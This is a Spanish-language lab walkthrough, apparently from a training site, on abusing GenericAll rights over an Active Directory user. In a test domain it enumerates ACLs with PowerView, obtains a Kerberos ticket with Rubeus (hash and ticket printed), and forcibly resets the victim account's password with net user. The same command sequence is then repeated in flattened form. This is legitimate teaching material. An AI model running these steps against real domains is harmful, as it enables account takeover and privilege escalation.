GenericAll sobre usuario

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Vamos a iniciar, realizando una conversion de texto a SID:

PS C:\> $user = Get-ADUser -Identity "userall.user"
PS C:\> $user.SID

BinaryLength AccountDomainSid                         Value
------------ ----------------                         -----
          28 S-1-5-21-1861162130-2580302541-221646211 S-1-5-21-1861162130-2580302541-221646211-1118

Luego de lo anterior, hemos determinado que el SID del usuario userall.user es S-1-5-21-1861162130-2580302541-221646211-1118

Teniendo en cuenta lo anterior, vamos analizar las ACL del usuario afectado:

PS C:\> Get-ObjectAcl -SamAccountName userwrite.user -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll" -and $_.SecurityIdentifier -eq "S-1-5-21-1861162130-2580302541-221646211-1118"}
AceType               : AccessAllowed
ObjectDN              : CN=userwrite.user,CN=Users,DC=spartancybersec,DC=corp
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-1861162130-2580302541-221646211-1117
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-1861162130-2580302541-221646211-1118
AccessMask            : 983551
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

La conclusión de la información recopilada es que en el entorno de Active Directory de spartancybersec.corp, el usuario userall.user (con SID S-1-5-21-1861162130-2580302541-221646211-1118) tiene derechos GenericAll sobre el objeto CN=userwrite.user,CN=Users,DC=spartancybersec,DC=corp. Esto implica un nivel significativo de control, ya que GenericAll otorga a userall.user permisos completos sobre el objeto userwrite.user, incluyendo la capacidad de modificar, eliminar o realizar cualquier acción sobre este objeto.

PS C:\> ./Rubeus.exe asktgt /user:userall.user /password:Password@1 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 64FBAE31CC352FC26AF97CBDEF151E03
[*] Building AS-REQ (w/ preauth) for: 'spartancybersec.corp\userall.user'
[*] Using domain controller: 10.0.1.100:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF+jCCBfagAwIBBaEDAgEWooIE8zCCBO9hggTrMIIE56ADAgEFoRYbFFNQQVJUQU5DWUJFUlNFQy5D
T1JQoikwJ6ADAgECoSAwHhsGa3JidGd0GxRzcGFydGFuY3liZXJzZWMuY29ycKOCBJswggSXoAMCARKh
uY3liZXJzZWMuY29ycA==
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/spartancybersec.corp
  ServiceRealm             :  SPARTANCYBERSEC.CORP
  UserName                 :  userall.user (NT_PRINCIPAL)
  UserRealm                :  SPARTANCYBERSEC.CORP
  StartTime                :  11/14/2023 5:38:04 AM
  EndTime                  :  11/14/2023 3:38:04 PM
  RenewTill                :  11/21/2023 5:38:04 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  xweAcNYEycTeCbFcG9Edgg==
  ASREP (key)              :  64FBAE31CC352FC26AF97CBDEF151E03

PS C:\Users\admin\Desktop\SHARED> klist

Current LogonId is 0:0x30685

Cached Tickets: (1)

#0>     Client: userall.user @ SPARTANCYBERSEC.CORP
        Server: krbtgt/spartancybersec.corp @ SPARTANCYBERSEC.CORP
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 11/14/2023 5:38:04 (local)
        End Time:   11/14/2023 15:38:04 (local)
        Renew Time: 11/21/2023 5:38:04 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

Y finalizamos, realizando un cambio de contraseña sobre el usuario victima:

PS C:\> net user userwrite.user P4ssw0rd /domain
The request will be processed at a domain controller for domain spartancybersec.corp.

The command completed successfully.

AnteriorGenericAll sobre Grupo SiguienteGenericWrite sobre computador

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PS C:\> $user = Get-ADUser -Identity "userall.user" PS C:\> $user.SID BinaryLength AccountDomainSid Value ------------ ---------------- ----- 28 S-1-5-21-1861162130-2580302541-221646211 S-1-5-21-1861162130-2580302541-221646211-1118

PS C:\> Get-ObjectAcl -SamAccountName userwrite.user -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll" -and $_.SecurityIdentifier -eq "S-1-5-21-1861162130-2580302541-221646211-1118"} AceType : AccessAllowed ObjectDN : CN=userwrite.user,CN=Users,DC=spartancybersec,DC=corp ActiveDirectoryRights : GenericAll OpaqueLength : 0 ObjectSID : S-1-5-21-1861162130-2580302541-221646211-1117 InheritanceFlags : ContainerInherit BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-1861162130-2580302541-221646211-1118 AccessMask : 983551 AuditFlags : None AceFlags : ContainerInherit AceQualifier : AccessAllowed

PS C:\> ./Rubeus.exe asktgt /user:userall.user /password:Password@1 /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.3 [*] Action: Ask TGT [*] Using rc4_hmac hash: 64FBAE31CC352FC26AF97CBDEF151E03 [*] Building AS-REQ (w/ preauth) for: 'spartancybersec.corp\userall.user' [*] Using domain controller: 10.0.1.100:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIF+jCCBfagAwIBBaEDAgEWooIE8zCCBO9hggTrMIIE56ADAgEFoRYbFFNQQVJUQU5DWUJFUlNFQy5D T1JQoikwJ6ADAgECoSAwHhsGa3JidGd0GxRzcGFydGFuY3liZXJzZWMuY29ycKOCBJswggSXoAMCARKh uY3liZXJzZWMuY29ycA== [+] Ticket successfully imported! ServiceName : krbtgt/spartancybersec.corp ServiceRealm : SPARTANCYBERSEC.CORP UserName : userall.user (NT_PRINCIPAL) UserRealm : SPARTANCYBERSEC.CORP StartTime : 11/14/2023 5:38:04 AM EndTime : 11/14/2023 3:38:04 PM RenewTill : 11/21/2023 5:38:04 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : xweAcNYEycTeCbFcG9Edgg== ASREP (key) : 64FBAE31CC352FC26AF97CBDEF151E03

PS C:\Users\admin\Desktop\SHARED> klist Current LogonId is 0:0x30685 Cached Tickets: (1) #0> Client: userall.user @ SPARTANCYBERSEC.CORP Server: krbtgt/spartancybersec.corp @ SPARTANCYBERSEC.CORP KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize Start Time: 11/14/2023 5:38:04 (local) End Time: 11/14/2023 15:38:04 (local) Renew Time: 11/21/2023 5:38:04 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -> PRIMARY Kdc Called: